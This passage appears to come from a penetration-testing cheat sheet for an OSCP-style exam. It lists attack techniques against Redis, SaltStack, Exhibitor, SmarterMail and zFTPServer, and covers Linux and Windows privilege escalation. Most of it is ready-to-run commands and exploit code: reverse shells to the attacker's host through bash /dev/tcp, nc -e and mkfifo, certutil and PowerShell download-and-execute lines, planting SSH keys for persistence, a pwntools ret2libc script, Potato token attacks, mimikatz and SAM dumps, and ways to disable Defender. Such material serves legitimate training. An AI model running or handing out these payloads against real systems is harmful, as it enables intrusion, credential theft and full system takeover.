/var/lib/redis/.ssh /redis/.ssh /usr/local/redis/.ssh; do
echo -n "$d: "; redis-cli -h $IP config set dir "$d" 2>&1
done
# If one succeeds:
redis-cli -h $IP save
ssh -i ./key <user>@$IP
Permission denied on /root/.ssh = exists but daemon isn't root. No such file or directory on /home/*/.ssh = daemon user's home isn't there. When SSH-key write is blocked across the obvious targets, pivot to module load (which doesn't depend on the daemon's filesystem permissions) - don't fixate.
Lua sandbox escape (CVE-2022-0543, Debian/Ubuntu):
redis-cli -h $IP <<'EOF'
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
EOF
# uid/gid output -> vulnerable. Reverse shell:
CMD='bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"'
redis-cli -h $IP eval "local f = io.popen('${CMD}', 'r'); f:read('*a')" 0
Rogue master + MODULE LOAD (universal Redis 4.x/5.x). Spin up a fake master on the attacker box, tell the target SLAVEOF us, serve a malicious .so as the replication payload; target loads it via MODULE LOAD and exposes a system.exec command.
git clone https://github.com/n0b0dyCN/redis-rogue-getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
# gcc 10+ fix - the module source uses strlen/strcat/inet_addr without their headers.
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
make
file module.so # ELF 64-bit shared object
cd ../redis-rogue-getshell
penelope -i tun0 -p 1338 # separate pane
python3 redis-master.py -r $IP -p 6379 -L $LHOST -P 8888 \
-f ../RedisModules-ExecuteCommand/module.so \
-c "bash -c 'bash -i >& /dev/tcp/$LHOST/1338 0>&1'"
Crucial gotcha: the final system.exec "hangs" with a TimeoutError traceback in the rogue-master script - this is expected. The reverse shell never returns control to the Redis socket; penelope catches the connection regardless. If MODULE LOAD is disabled (config get enable-module-command returns "no"), the technique is out. If Redis is auth'd, pass -a <password>.
Surface: 4505/tcp (pub channel) and 4506/tcp (req channel - the EXPLOIT TARGET), often with 8000/tcp salt-api (nginx). The exploitable port is 4506; the HTTP salt-api on 8000 is a separate surface.
curl -s http://$IP:8000/run | jq # "clients": ["local","local_async","runner","wheel",...] = SaltStack
curl -s http://$IP:8000/logout # provoke 500 -> "Powered by CherryPy 5.6.0" = old, likely vulnerable
Why it works: the SaltStack master accepts {"cmd": "_prep_auth_info"} on the ZeroMQ req channel (4506) without authentication and returns the master root key, which then permits arbitrary code execution via the runner client.
./PoC.py --host $IP --fetch-key-only # retrieve root key (no auth)
./PoC.py --host $IP --execute "id" # direct exec
./PoC.py --host $IP --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" # reverse shell
./PoC.py --host $IP --minions --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" # on minions
./PoC.py --host $IP --download /root/proof.txt ./proof.txt # file read via wheel
./PoC.py --host $IP --upload ./shell.sh /tmp/shell.sh
# Metasploit alternative (if this is your MSF box):
# use exploit/linux/misc/saltstack_salt_unauth_rce ; set RHOSTS/LHOST/LPORT ; run
Pitfalls: 401 on salt-api with the root key means root key != X-Auth-Token (use the ZeroMQ PoC, not curl to :8000). jid returned but no shell = TCP egress filtered (HTTP/ICMP exfil). Shell quoting breaks = use single inside double ("bash -c 'cmd'"). --download fails on /root/x because file_roots.read only reads /srv/salt/ (copy there first or HTTP exfil).
Surface: open ZooKeeper port (2181) + an HTTP service on a sibling port (8080/8181); HTTP root returns 404; Exhibitor UI at /exhibitor/v1/ui/index.html; Powered by Jetty on the 404; ZK 3.4.x with Exhibitor below 1.7.2. Exhibitor is a JVM supervisor for ZooKeeper exposing a config editor; the java.env script field is written to a shell script and executed when ZK (re)starts - anything you put there runs as the Exhibitor user, no auth.
http://$IP:$HTTP_PORT/exhibitor/v1/ui/index.htmljava.env script field, drop a command-injection payload: $(/bin/nc -e /bin/sh $LHOST $LPORT &)penelope -i tun0 -p $LPORT.Gotchas: nc -e only works on traditional/openbsd netcat - fall back to $(bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' &). The trailing & is NOT optional (without backgrounding, Exhibitor's bootstrap hangs waiting for the shell to exit and never finishes launching ZK). Keep the payload single-line; some builds sanitize newlines.
Surface: Windows host with 17001/tcp open remoting MS .NET Remoting services, cross-referenced with a SmarterMail web UI on :9998 or :80/:443. The web-UI version does NOT reliably predict exploitability - the patch shipped at the binary level, but on misconfigured/partially-upgraded hosts the legacy :17001 listener can still be bound. SmarterMail builds below 6985 deserialize a BinaryFormatter blob over TCP without type filtering, so a TypeConfuseDelegate gadget chain runs as the SmarterMail service account - NT AUTHORITY\SYSTEM by default. No auth, no privesc.
searchsploit -m 49216
sed -i "s/HOST='192.168.1.1'/HOST='$IP'/" 49216.py
sed -i "s/LHOST='192.168.1.2'/LHOST='$LHOST'/" 49216.py
sed -i "s/LPORT=4444/LPORT=1339/" 49216.py # PORT=17001 default is fine
penelope -i tun0 -p 1339
python3 49216.py
# returns: PS C:\Windows\system32> whoami -> nt authority\system
Failure modes: connection refused on :17001 but web UI works = listener genuinely disabled (move on). TCP handshake but no shell = AV stripped the PowerShell stager (swap for a certutil cmdstager or cmd.exe /c that downloads nc.exe). Low-priv app pool user instead of SYSTEM = wrong service account (tasklist /svc | findstr -i smarter). Detection-only CVE-2025-52691 reads the version from /interface/root.
The .NET Remoting reflex: any Windows server where nmap -sV returns the literal string remoting is a deserialization candidate - SolarWinds Orion (:17778/:17790), Telerik UI for ASP.NET AJAX, internal CRM/ERP boxes. Hand-rolled payloads: ysoserial.net targeting tcp://<host>:17001/Servers.
Surface: 220 zFTPServer v6.0 banner, often colocated with Apache/IIS serving the same directory; two ports (:21 FTP, :3145 admin protocol) with independent default cred sets. Try admin:admin on :21 (the built-in admin account, heavily under-tested because everyone assumes admin must be on the admin port), anonymous: on :21 for read-only enum; vendor admin defaults on :3145 differ from :21. zFTPServer is frequently configured to serve directly out of a webroot, so an authenticated FTP login is effectively webroot write access - converting the FTP foothold into RCE on the PHP/ASP stack without any web-app vuln.
ftp $IP # admin:admin
ftp> ls -la # look for .htaccess, web.config, index.php, index.aspx
ftp> put cmd.php
curl "http://$IP/cmd.php?cmd=whoami"
Apache 2.2.21 + PHP 5.3.8 on Windows almost certainly = WAMP. Default webroot: C:\wamp\www\ (or C:\wamp64\www\).
.htpasswd + $apr1$ crackingSurface: Apache with HTTP Basic auth (WWW-Authenticate: Basic realm=...), .htaccess referencing AuthUserFile <path> (the .htpasswd location). Hash format username:$apr1$<8-char-salt>$<22-char-hash> - Apache's MD5-based crypt (hashcat mode 1600, john md5crypt-apache).
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1600 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Common paths: WAMP C:\wamp\www\.htpasswd, XAMPP C:\xampp\htdocs\.htpasswd, Linux /etc/apache2/.htpasswd or /var/www/.htpasswd. The .htaccess always tells you the exact path - read it first. A cracked basic-auth cred is scoped to the realm only; test it elsewhere with nxc rdp/smb/winrm/ftp but don't assume reuse.
MaxAuthTries trap$ ssh -i keys/root [email protected]
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
ssh by default offers every key it can find - keys in a running ssh-agent plus default identity files - and the OpenSSH server caps auth attempts per connection (MaxAuthTries, default 6) before disconnecting. Even with explicit -i <key>, the agent's identities are tried first, so by the time your -i key is offered the server has already capped you.
IdentitiesOnly yes + IdentityAgent nonessh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none root@$IP
# persistent:
cat > ~/.ssh/config <<'EOF'
Host *
IdentitiesOnly yes
IdentityAgent none
EOF
IdentitiesOnly yes only offers identities explicitly passed via -i/IdentityFile; IdentityAgent none disables the agent socket for the session. A few seconds typing the flags beats debugging "Too many authentication failures" mid-exam.
sshd_config frequently sets PermitRootLogin prohibit-password (or no) for external interfaces but accepts key-based root login from loopback. If a found root key fails against the external IP, get a foothold and try it against 127.0.0.1 from inside the box:
ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]
This is why a "useless" root key found via LFI is sometimes the actual privesc path - it just needs the right network position.
USER_KEY='ssh-ed25519 AAAA...your_pubkey... attacker'
mkdir -p ~/.ssh && chmod 700 ~/.ssh
grep -qxF "$USER_KEY" ~/.ssh/authorized_keys 2>/dev/null \
|| echo "$USER_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
ssh -i ~/.ssh/<box_key> <user>@$IP id # verify from Kali
Exam clock: a 10s SSH login beats a 10-minute exploit chain replay. Boxes reset on time, not on demand. If your shell dies during privesc, you don't repeat the foothold.
A key at ~/.ssh/keys/id_rsa rather than the canonical ~/.ssh/id_rsa means the user manages keys for multiple identities - read every file in that directory, not just the canonical filename. You'll often find keys named after their target (id_rsa_server1, production_key, or the gold case, root). Finding a private key in someone's .ssh/ does not mean it grants access to that account - the key only works wherever its public key sits in an authorized_keys. Try it, and when it fails, move on rather than burning cycles.
searchsploit apache 2.4
searchsploit -m 50383 # copy exploit to cwd
searchsploit -x 50383 # read it
# ALWAYS read the exploit before running. Fix: RHOST/LHOST, target offsets, python2->3,
# shellcode, hardcoded paths.
Compiling exploits:
# Windows privesc exploit (C) compiled on Kali with mingw:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 # 32-bit + winsock
# Static Linux binary (target missing shared libs):
gcc -static exploit.c -o exploit # or: musl-gcc -static exploit.c -o exploit
gcc -m32 exploit.c -o exploit # 32-bit on 64-bit Kali (needs gcc-multilib)
# gcc 10+ implicit-declaration fix (half the public C/Redis PoCs need this):
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
# Old python2 PoC: run with python2.7, or port print()/sockets to py3
Sources to cache offline before the exam: exploit-db, GitHub PoCs, HackTricks, GTFOBins, LOLBAS, PayloadsAllTheThings.
# Automated
./linpeas.sh | tee linpeas.txt # serve via http, curl|bash
./pspy64 # watch cron/processes WITHOUT root (Slonik pattern)
# Manual quick hits
id; sudo -l; uname -a; cat /etc/os-release
ls -la /home/*; cat /home/*/.bash_history; cat /home/*/.ssh/id_rsa
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
getcap -r / 2>/dev/null # capabilities
cat /etc/crontab; ls -la /etc/cron.*
ss -tlnp; netstat -tlnp # internal services -> pivot/forward
env; cat /etc/passwd; ls -la /opt /srv /var/www
mount; cat /etc/fstab # nfs no_root_squash
getent passwd | awk -F: '$7 !~ /(nologin|false)$/' # users with shells
sudo -l is always step 1sudo -l # who am I allowed to be?
sudo -V | head -1 # version -> CVE applicability (Baron Samedit CVE-2021-3156 if < 1.9.5p2)
sudo --host=fakehost -l 2>/dev/null # leak rules without password (older sudo)
If (root) NOPASSWD: /path/to/binary appears, that binary is the target. Strategy depends on what it does:
| Binary calls | Escape via |
|---|---|
systemctl status ..., journalctl ... | !cmd in less (pager auto-invoked) |
man <page>, more <file>, less ... | !cmd in pager |
vi/vim something | :!/bin/sh |
find ... -exec foo | find x -exec /bin/sh \; if find is the sudo'd binary |
python <script> | If script is writable, edit it; else stdin injection |
awk/sed/perl/ruby | GTFOBins one-liners |
| Custom binary, no source | strings, then BOF/format-string/path-hijack/env-injection |
Common wins, and the env_keep case:
sudo vim -c ':!/bin/sh' sudo less /etc/profile -> !/bin/sh
sudo find . -exec /bin/sh \; -quit sudo awk 'BEGIN{system("/bin/sh")}'
sudo python3 -c 'import os;os.system("/bin/sh")' sudo perl -e 'exec "/bin/sh";'
sudo nmap --interactive -> !sh (old) sudo env /bin/sh
# NOPASSWD on a custom script -> read it, hijack what it calls
# LD_PRELOAD / LD_LIBRARY_PATH if env_keep+= set:
sudo LD_PRELOAD=/tmp/x.so someprog # compile x.so with _init() spawning shell
https://gtfobins.github.io - for any non-standard sudo entry, SUID binary, or capability, GTFOBins probably has the escape. Use the SUID column for SUID binaries (prefer entries with -p / EUID preservation), the Sudo column for sudo entries.
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -perm -u=s -type f 2>/dev/null
find / -perm -6000 -type f 2>/dev/null # SUID + SGID
# Drop the standard Ubuntu noise:
find / -perm -4000 -type f 2>/dev/null | grep -vE '/(snap|sudo|mount|umount|su|chsh|chfn|gpasswd|newgrp|passwd|fusermount|policykit|dbus|ssh-keysign|snap-confine|pkexec|at|eject)'
# Examples:
./find . -exec /bin/sh -p \; -quit # SUID find
cp /bin/bash /tmp/b; ... ; bash -p # SUID bash copies / SUID cp /etc/passwd
# Custom SUID binary calling a command without abs path -> PATH hijack:
export PATH=/tmp:$PATH ; echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service
SUID enum is about outlier detection, not list reading. Memorize the standard set so the non-standard binaries pop visually. Standard noise on a vanilla Ubuntu install: /usr/bin/{sudo,su,passwd,chsh,chfn,gpasswd,newgrp,mount,umount,fusermount}, /usr/bin/at, /usr/lib/{openssh/ssh-keysign,policykit-1/polkit-agent-helper-1,dbus-1.0/dbus-daemon-launch-helper,eject/dmcrypt-get-device,snapd/snap-confine}, anything under /snap/core*/. Outliers like /usr/bin/php7.4, /usr/bin/python3.x, /usr/bin/find, /usr/bin/cp with SUID are the targets. SUID bash directly (Trick / Slonik / fail2ban patterns): bash -p gives a euid-root shell.
-p gotcha/bin/sh and /bin/bash both drop the EUID back to the real UID on startup by default as a security mitigation. The -p flag tells them to preserve the EUID. Without -p, your SUID shell-escape silently drops back to the calling user (e.g. www-data).
/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);" # GTFOBins recommended
php7.4 -m | grep pcntl # if pcntl not loaded
/usr/bin/php7.4 -r 'posix_setuid(0); posix_setgid(0); system("/bin/sh -p");' # fallback
# Verify (uid=33(www-data) euid=0(root) is fine - euid=0 is what matters):
whoami # root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # promote to a real uid=0 shell
If your shell escape "works" but whoami still says the original low-priv user, missing -p is the #1 reason.
| Pager | Escape |
|---|---|
less | !cmd (run as pager's uid); v opens $EDITOR; :e /path reads files |
more | !cmd once content has paged; works on Linux |
man | !cmd inside; or invoke man on a writable section |
vi/vim | :!cmd, :shell, or :python import os; os.system("...") |
nano | Ctrl-R Ctrl-X then cmd (read command output) |
These work because the pager spawns a subshell inheriting the running process's UID; under sudo, that's root. If the pager doesn't open on a sudo systemctl status, your terminal is too tall - systemd decides whether to invoke less based on window size. Shrink with stty rows 20 cols 80, then re-run.
getcap -r / 2>/dev/null
# cap_setuid+ep on python/perl:
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
# cap_dac_read_search -> read any file (shadow); cap_setuid on others -> GTFOBins
# Writable script run by root cron -> add reverse shell / chmod +s /bin/bash
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/writable_cron_script
# Wildcard injection (tar/rsync in cron with *):
echo 'mkfifo /tmp/p;nc $LHOST 443 0</tmp/p|/bin/sh>/tmp/p 2>&1' > shell.sh
touch ./--checkpoint=1; touch ./'--checkpoint-action=exec=sh shell.sh'
# PATH-relative binary in root cron/script -> PATH hijack
A binary or script (SUID/cron/sudo) that calls e.g. service/ps/cat without a full path: put a malicious one earlier in $PATH. Watch shebang and set -e/pipefail quirks in target scripts.
# On YOUR box (as root), mount the export, drop a SUID root binary:
mkdir /mnt/x; mount -o rw,vers=3 $IP:/export /mnt/x
cp /bin/bash /mnt/x/rootbash; chmod +s /mnt/x/rootbash
# On target:
/export/rootbash -p -> root
openssl passwd -1 -salt x pass # make hash
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd ; su root2
# Or blank root's x field if you can edit and no shadow
# docker group (Kobold pattern):
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# lxd group:
lxc init alpine c -c security.privileged=true; lxc config device add c d disk source=/ path=/mnt; lxc start c; lxc exec c sh
# writable .service / writable ExecStart binary run by root -> replace + restart
# newgrp docker (Kobold) if your secondary group includes docker
Distro binaries are vetted; bespoke ones under /usr/local/bin/ are where the bugs live. Whenever you have a foothold, walk ls -la /usr/local/bin/ /usr/local/sbin/ /opt/ and triage anything hand-rolled.
file ./binary
strings ./binary | less # creds, paths, format strings, command literals
checksec --file=./binary # NX/canary/PIE/RELRO matrix
ldd ./binary # linked libs - non-standard ones
objdump -d ./binary | less # disassembly
nm -D ./binary # dynamic symbols
ltrace ./binary # library calls - strcmp / fopen / system args
strace ./binary 2>&1 | less # syscalls - execve args, file reads
Look for: gets, strcpy, sprintf, scanf("%s", ...) (stack BOFs); system, popen, execl* (command injection if argument-controlled); strcmp against literals (hardcoded passwords); printf(user_input) (format-string vulns); fopen(..., "w") to attacker-influenced paths (arbitrary file write). strings first, ghidra second - hardcoded credentials and system() calls are constantly missed by people who jump straight to reverse engineering.
If the binary has gets and a linked system symbol (visible in strings) and no canary/PIE, that's a classic ret2libc/ret2plt one-shot.
checksec --file=./bin ; file ./bin ; strings ./bin
gdb -q ./bin
> cyclic 200 # pwndbg/peda ; feed pattern, crash
> cyclic -l <RSP_at_crash>
ROPgadget --binary ./bin | grep -E 'pop rdi|ret$'
from pwn import *
elf = ELF('./bin'); context.binary = elf
OFFSET = 72 # from cyclic
POP_RDI = 0x004012a3
RET = 0x004012a4 # stack alignment
SYSTEM = elf.plt['system']
BINSH = next(elf.search(b'/bin/sh'), None)
if BINSH is None:
BSS = elf.bss(0x100); GETS = elf.plt['gets']
payload = b'A'*OFFSET
payload += p64(POP_RDI) + p64(BSS) + p64(GETS) # gets(bss)
payload += p64(POP_RDI) + p64(BSS) + p64(SYSTEM) # system(bss)
p = process('./bin'); p.sendline(payload); p.sendline(b'/bin/sh')
else:
payload = b'A'*OFFSET + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p = process('./bin'); p.sendline(payload)
p.interactive()
The extra ret before system is glibc's 16-byte stack-alignment requirement on x86_64 - many system() calls SEGV in movaps without it. When the binary is sudo-able, the same payload through sudo yields a root shell because EUID is 0 for the lifetime of the process. (Note: there's no standalone BOF machine on the 2026 exam, but a sudo'd vulnerable binary is still a valid privesc path.)
gcore memory dump for credential extractionSurface: a custom long-running root process (ps aux) plus one of sudo -l listing gcore/gdb, getcap showing cap_sys_ptrace, or cat /proc/sys/kernel/yama/ptrace_scope returning 0. gcore writes a core dump of a running process; anything in its memory becomes readable - plaintext creds, decrypted secrets, tokens, keys.
ps -ef | grep -i -E 'pass|vault|secret|auth|cred|key' | grep -v grep
sudo gcore <PID> # writes core.<PID> (use /dev/shm for huge dumps)
strings core.<PID> | grep -i -E 'pass|pwd|secret|token|user'
Gotchas: core files can be multi-GB (write to tmpfs: cd /dev/shm && sudo gcore <PID>); the process pauses briefly during the dump; strings near getline()/stdin buffers hold the most recent input (search near known prompts like Password:). If sudo allows gdb directly, gdb -nx -ex '!sh' -ex quit is faster for your own UID - but the dump is the play when the goal is other users' secrets.
When a privileged process (root cron, suid wrapper, web upload handler) calls a parsing utility on attacker-controlled input, that's a top-3 OSCP Linux privesc archetype. Find the invocation (/etc/crontab, /etc/cron.d/, or pspy), identify the binary and input source, check its version against parser-injection CVEs:
| Binary | CVE | Trigger |
|---|---|---|
| ExifTool | CVE-2021-22204 | DjVu ANT data passed through Perl eval; affects 7.44-12.23 |
| ImageMagick | ImageTragick (CVE-2016-3714) and follow-ups | PostScript / MVG / SVG chains |
| Ghostscript | CVE-2023-36664 etc. | -dSAFER bypasses |
| ffmpeg | (various) | HLS read primitives |
| tar | (path traversal) | Symlink/hardlink tricks in archives extracted by cron |
ExifTool CVE-2021-22204 (detailed). Identification: exiftool -ver returns 12.23 or earlier; invoked by something privileged; input directory writable; filename filtering is usually a loose substring match (jpg/png), so the malicious DjVu file passes regardless.
# Discovery
cat /etc/crontab ; ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
wget http://$LHOST/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
which -a exiftool && exiftool -ver
# Exploit ON THE ATTACKER BOX (generates a crafted image, doesn't execute the chain):
sudo apt install djvulibre-bin
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204
cd exploit-CVE-2021-22204
python3 exploit-CVE-2021-22204.py -s $LHOST $LPORT # reverse shell built-in
python3 exploit-CVE-2021-22204.py -c '<cmd>' # arbitrary command
# Delivery
python3 -m http.server 8888 ; rlwrap nc -lvnp $LPORT # attacker
cd /writable/input/dir ; curl -o pwn.jpg http://$LHOST:8888/image.jpg # target; wait up to 60s for cron
Gotchas: the filename filter is usually grep "jpg" (substring), so pwn.jpg, pwn.jpgx, foo.jpg.bar all match. Don't run the exploit on the target (djvulibre-bin probably isn't there). The payload survives output redirection (exiftool ... >> $LOG) because the eval happens during metadata parsing, before redirection matters.
uname -a ; searchsploit linux kernel <version>
# Classics: DirtyCow (CVE-2016-5195), DirtyPipe (CVE-2022-0847), PwnKit/polkit (CVE-2021-4034),
# Sudo Baron Samedit (CVE-2021-3156), GameOverlay (CVE-2023-2640/32629)
./PwnKit # self-contained, reliable on many older boxes
vi # then :set shell=/bin/bash -> :shell (or :!/bin/bash)
python3 -c 'import pty;pty.spawn("/bin/bash")'
awk 'BEGIN{system("/bin/bash")}'
find / -name nonexistent -exec /bin/bash \; -quit
# Get in already-unrestricted:
ssh user@host -t "/bin/bash --noprofile --norc"
ssh user@host -t "() { :; }; /bin/bash"
# rbash: call binaries by absolute path (/bin/ls), or set PATH/SHELL if export allowed.
# lshell: command injection inside an allowed builtin, or echo os.system('/bin/bash')
.bash_history, .mysql_history, .viminfo, /var/mail, /var/backups.su/SSH.screen -list/tmux ls -> SUID screen/tmux hijack root sessions (rare, old screen 4.5.0)..so.disk -> debugfs read raw device (read /etc/shadow); groups video/shadow also win.# Automated
.\winPEASany.exe # or winpeas.bat
.\PrivescCheck.ps1; Invoke-PrivescCheck
.\Seatbelt.exe -group=all
# Manual
whoami /all # PRIVILEGES = gold (SeImpersonate, SeBackup, etc.)
whoami /priv
systeminfo # OS/patches -> wesng / windows-exploit-suggester
net user; net localgroup administrators; net user <me>
ipconfig /all; route print; netstat -ano # internal -> pivot
cmdkey /list # stored creds -> runas /savecred
python wesng.py systeminfo.txt # from your box, map patch level to exploits
whoami /priv is the privesc decision treeThe first command after any Windows foothold. The privilege's state (Enabled or Disabled) doesn't matter for most of these - what matters is whether it's in the token at all.
| Privilege | Technique |
|---|---|
SeImpersonatePrivilege | Potato family (4.3) |
SeBackupPrivilege | Dump SAM/SYSTEM/NTDS for offline cracking |
SeRestorePrivilege | Arbitrary file write |
SeTakeOwnershipPrivilege | File ACL games -> overwrite SYSTEM file |
SeDebugPrivilege | Token impersonation via process access |
SeLoadDriverPrivilege | Load malicious driver |
SeLoadDriverPrivilege -> load vulnerable signed driver (Capcom.sys) -> SYSTEM
SeManageVolumePrivilege -> arbitrary file write as SYSTEM (SeManageVolumeExploit.exe)
SeTakeOwnershipPrivilege -> take ownership of a SYSTEM binary/file, then replace/read it
SeDebugPrivilege -> procdump/mimikatz into lsass; inject into SYSTEM process
SeRestorePrivilege -> overwrite protected files (utilman.exe / sethc.exe sticky-keys trick)
SeImpersonate/SeAssignPrimaryToken -> Potato SeBackup -> reg save / NTDS
The most common find - service accounts (IIS app pools, MSSQL service, custom wamp\apache-style accounts) hold SeImpersonatePrivilege by default. The Potato attacks abuse DCOM/RPC to trigger an auth callback from a SYSTEM-owned COM server, then impersonate the resulting SYSTEM token. Pick by Windows version:
| Windows version | Tool |
|---|---|
| Server 2008 / 2008 R2 / 2012 / 2012 R2 / 2016 (pre-May 2020) | JuicyPotato |
| Server 2019 / 2022 / Windows 10 1809+ | PrintSpoofer or GodPotato |
| Modern with no Spooler | RoguePotato (needs external OXID resolver) |
.\PrintSpoofer64.exe -i -c cmd # Win10/2016/2019 - reliable
.\PrintSpoofer64.exe -c "C:\rev.exe"
.\GodPotato-NET4.exe -cmd "cmd /c whoami" # broad coverage incl 2019/2022
.\JuicyPotatoNG.exe -t * -p C:\rev.exe # newer JuicyPotato
.\JuicyPotato.exe -l 1337 -p C:\rev.exe -t * -c {CLSID} # 2016/older (Jeeves pattern)
.\RoguePotato.exe -r $LHOST -e "C:\rev.exe" -l 9999
:: Stage tools in a writable directory
certutil -urlcache -split -f http://%LHOST%/Juicy.exe Juicy.exe
certutil -urlcache -split -f http://%LHOST%/nc.exe nc.exe
whoami /priv
:: Dry-run: confirm CLSID maps to a SYSTEM-owned COM server
.\Juicy.exe -z -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
:: Fire
.\Juicy.exe -l 1337 ^
-c "{4991d34b-80a1-4291-83b6-3328366b9097}" ^
-p C:\Windows\System32\cmd.exe ^
-a "/c C:\Users\Public\nc.exe -e cmd.exe %LHOST% 1339" ^
-t *
Quoting gotchas (the bit that wastes time): -a takes a single argument string - if your command has spaces or its own flags, quote the whole thing or JuicyPotato gags on the first inner - (Bad: -a nc.exe -e cmd.exe <IP> 1339 vs Good: -a "/c nc.exe -e cmd.exe <IP> 1339"). The spawned program inherits a working directory you don't control (usually system32), so use absolute paths inside -a. -t * tries CreateProcessWithTokenW then CreateProcessAsUser - leave it unless one path is failing for a reason.
Working CLSID quick-reference: BITS {4991d34b-80a1-4291-83b6-3328366b9097} works on Server 2008/2008 R2/2012 (the original ohpe default); on Server 2016 many BITS CLSIDs fail, use one from the ohpe Server 2016 list. Always -z test first if unsure.
Failure modes: Wrong Argument: - = unquoted -a swallowing the next flag. Authentication error / no callback = CLSID doesn't resolve to a SYSTEM service on this OS version (try another). Callback arrives but no shell = spawned process cwd issue (absolute paths) or nc.exe not staged. Token user not SYSTEM in -z test = wrong CLSID, move on. PrintSpoofer/GodPotato are the modern alternatives (GodPotato works through Server 2022).
# Backup SAM+SYSTEM then secretsdump offline:
reg save HKLM\SAM sam.hive ; reg save HKLM\SYSTEM system.hive
# DC: copy NTDS.dit via diskshadow/robocopy then secretsdump
diskshadow /s script.txt # create shadow, robocopy ntds.dit + SYSTEM
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
# Unquoted service path
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i """"
# "C:\Program Files\My App\svc.exe" unquoted + writable dir -> drop "Program.exe"
sc qc <svc>
# Weak service permissions (can change binPath)
accesschk.exe /accepteula -uwcqv "Authenticated Users" * # or use winPEAS output
sc config <svc> binpath= "C:\rev.exe" ; sc stop <svc> ; sc start <svc>
# Writable service binary -> replace the exe (Eloquia/Failure2Ban pattern), restart
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# both = 1 ->
msiexec /quiet /qn /i evil.msi # msfvenom -f msi -p windows/x64/shell_reverse_tcp...
schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
# writable task binary or script run as SYSTEM -> replace
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run # autorun + writable target
An app loads a DLL from a writable/missing path -> drop a malicious DLL (msfvenom -f dll). Find with ProcMon (offline analysis) or known-missing-DLL lists.
findstr /si password *.txt *.ini *.config *.xml
type C:\Windows\Panther\Unattend.xml ; type C:\Windows\system32\sysprep\*.xml
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword # autologon
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # saved proxy/host
cmdkey /list ; netsh wlan show profile name=X key=clear
reg save hklm\sam sam ; reg save hklm\system system # -> secretsdump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam"
Check whoami /groups, net localgroup:
# Backup Operators -> SeBackupPrivilege: read SAM+SYSTEM (or NTDS on DC) then secretsdump LOCAL
reg save hklm\sam sam ; reg save hklm\system system
# DnsAdmins -> load malicious DLL into dns.exe (runs SYSTEM on the DC):
dnscmd <dc> /config /serverlevelplugindll \\$LHOST\share\evil.dll
sc.exe \\<dc> stop dns & sc.exe \\<dc> start dns
# Server Operators -> change a service binPath, start it (SYSTEM):
sc config <svc> binPath= "C:\rev.exe" & sc stop <svc> & sc start <svc>
# Print Operators -> SeLoadDriverPrivilege -> load Capcom.sys driver -> SYSTEM
# Account Operators -> create/modify non-protected accounts (add to nested groups)
# Hyper-V Admins, Event Log Readers (grep logs for creds), DPAPI/cred vaults
. .\PowerUp.ps1
Invoke-AllChecks
Invoke-ServiceAbuse -Name 'vulnsvc' -Command "net localgroup administrators me /add"
Write-ServiceBinary ; Install-ServiceBinary ; Restart-Service vulnsvc
Get-ModifiableServiceFile ; Get-UnquotedService ; Find-PathDLLHijack
dir /R, more < file:stream, type ... > file:hidden.web.config machineKey -> forge __VIEWSTATE (ysoserial.net) -> RCE.runas /savecred /user:admin C:\rev.exe.Get-MpComputerStatus ; Get-MpPreference | select Exclusion* # status + exclusion dirs (drop payload there)
# AMSI: in-memory download dodges on-disk scanning:
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/x.ps1')
# Signatured binary: rename it, recompile your own, or run from an AV exclusion path.
# If you're already admin: Set-MpPreference -DisableRealtimeMonitoring $true
The 40-point set - prioritize it. You start WITH a low-priv domain credential ("assumed breach"). Goal: pivot user -> host -> DC. Two exam constraints frame everything here: Responder LLMNR/NBT-NS poisoning is BANNED (analyze mode only), and Metasploit can't be used for pivoting (the set spans three hosts, so MSF would touch more than one target). Land the AD set first or early.
# NetExec (nxc) is the swiss-army knife - sweep everything first
